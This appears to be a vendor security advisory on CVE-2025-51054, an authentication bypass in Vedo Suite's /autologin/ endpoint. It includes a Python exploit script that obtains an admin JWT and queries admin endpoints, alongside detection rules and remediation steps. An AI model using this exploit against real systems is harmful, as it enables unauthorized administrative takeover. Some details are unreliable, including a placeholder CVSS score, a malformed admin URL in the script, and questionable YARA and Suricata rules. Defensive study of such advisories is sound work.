CVE-2025-51054

Executive Summary

CVE-2025-51054 is a critical Incorrect Access Control vulnerability in Vedo Suite 2024.17. The flaw allows any remote, unauthenticated attacker to obtain a valid high-privilege JWT token by sending an empty HTTP POST request to the /autologin/ API endpoint. This effectively bypasses all authentication mechanisms and grants the attacker full administrative access to the Vedo Suite application. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application, Vedo Suite. The risk is limited to organizations that deploy this software internally.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full access to all data.
• Integrity (I): High (H) – Full ability to modify data and configurations.
• Availability (A): High (H) – Potential to disrupt service.

Threat Level: Critical. The ease of exploitation (single HTTP request) and the impact (full administrative control) make this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability resides in the /autologin/ API endpoint of Vedo Suite 2024.17. The intended functionality of this endpoint is likely to provide a convenience login mechanism for pre-authenticated sessions. However, due to an Incorrect Access Control (CWE-284) flaw, the endpoint does not validate the identity or authentication status of the requester.

When an attacker sends an empty HTTP POST request to /autologin/, the server processes the request without checking for a valid session or credentials. The server then generates and returns a JWT token with high privileges (e.g., administrator role). This token can then be used to authenticate to all other API endpoints and the web interface, granting full control over the Vedo Suite instance.

The root cause is a missing or improperly implemented access control check on the server-side logic for the /autologin/ endpoint. The server trusts that any request to this endpoint is legitimate, which is a fundamental security design flaw.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code logic can be inferred:

Vulnerable Code (Conceptual):

@app.route('/autologin/', methods=['POST'])
def autologin():
    # Missing authentication check
    token = generate_jwt_token(role='admin')
    return jsonify({'token': token})

Patched Code (Conceptual):

@app.route('/autologin/', methods=['POST'])
def autologin():
    # Verify the request is from an already authenticated session
    if not is_authenticated(request):
        return jsonify({'error': 'Unauthorized'}), 401
    token = generate_jwt_token(role='admin')
    return jsonify({'token': token})

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target_url = "https://target-vedo-instance.com/autologin/"

# Send empty POST request
response = requests.post(target_url, data={}, verify=False)

if response.status_code == 200:
    token = response.json().get('token')
    print(f"[+] Obtained JWT token: {token}")
    # Use token to access admin endpoints
    admin_headers = {'Authorization': f'Bearer {token}'}
    admin_response = requests.get(f"{target_url}/admin/users", headers=admin_headers, verify=False)
    print(admin_response.text)
else:
    print(f"[-] Failed to obtain token. Status: {response.status_code}")

Lab Setup:

1. Deploy a vulnerable instance of Vedo Suite 2024.17 in an isolated lab environment.
2. Use a tool like Burp Suite or Postman to send an empty POST request to /autologin/.
3. Capture the JWT token from the response.
4. Use the token to access protected resources (e.g., /admin/users, /api/config).

Blue Team

Detection Steps:

1. Monitor for POST requests to /autologin/ with an empty body.
2. Alert on any successful response from /autologin/ that contains a JWT token.
3. Correlate the IP address of the requester with known threat intelligence feeds.
4. Review server logs for unusual access patterns to the /autologin/ endpoint.

Honeypot Strategy:

• Deploy a fake /autologin/ endpoint that logs all requests and returns a decoy token.
• Monitor the decoy token usage to identify attackers.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST request to /autologin/ with an empty body.
  • HTTP response containing a JWT token from /autologin/.
• Logs:
  • Server access logs showing POST /autologin/ HTTP/1.1 with a 200 status code.
  • Application logs showing JWT token generation for an unauthenticated session.
• File System:
  • No specific file-based IOCs.
• Registry:
  • Not applicable.

Detection Engineering

YARA Rule

rule CVE_2025_51054_Autologin_Exploit {
    meta:
        description = "Detects HTTP POST requests to /autologin/ with empty body"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51054"
    strings:
        $method = "POST"
        $path = "/autologin/"
        $empty_body = "Content-Length: 0"
    condition:
        $method and $path and $empty_body
}

Sigma Rule

title: CVE-2025-51054 - Vedo Suite Autologin Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-51054 via empty POST to /autologin/
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/autologin/'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate autologin attempts (if any)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51054 - Vedo Suite Autologin Exploitation"; flow:to_server; http.method; content:"POST"; http.uri; content:"/autologin/"; http.request_body; content:!"."; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /autologin/ endpoint if possible, by modifying the web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /autologin/ with an empty body.
3. Restrict network access to the Vedo Suite application to trusted IP addresses only.

Long-Term Fix:

• The vendor must release a patch that implements proper authentication checks on the /autologin/ endpoint.
• Until a patch is available, consider migrating to a different solution or implementing a reverse proxy that adds authentication.

Workaround:

• If the /autologin/ feature is required, modify the application code to require a valid session token before generating a new JWT.

Valters IT
Securing Digital Frontiers